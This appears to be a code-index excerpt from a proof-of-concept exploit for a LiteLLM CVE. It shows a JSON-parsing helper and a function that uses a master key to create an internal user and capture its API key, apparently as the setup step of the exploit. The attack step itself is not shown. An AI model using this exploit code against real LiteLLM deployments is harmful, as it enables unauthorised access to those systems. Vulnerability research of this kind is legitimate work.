INNER CODE UNIT · Python

safe_json

Unclecheng-li/poc-lab · AI Infrastructure/CVE-2026-47101 LiteLLM/exploit/exploit.py:60

def safe_json(resp: requests.Response) -> dict[str, Any]:
    try:
        return resp.json()
    except Exception:
        return {"raw": resp.text}


def create_internal_user(target: str, master_key: str) -> tuple[str, str]:
    url = f"{target.rstrip('/')}/user/new"
    resp = api_post(url, master_key, build_user_new_payload())
    data = safe_json(resp)
    if resp.status_code >= 300:
        raise RuntimeError(f"Failed to create internal user: HTTP {resp.status_code} {data}")
    user_id = data.get("user_id") or data.get("user", {}).get("user_id")
    key = data.get("key") or data.get("user", {}).get("key")
    if not user_id or not key:
        raise RuntimeError(f"Unexpected user creation response: {data}")
    return str(user_id), str(key)

View source record →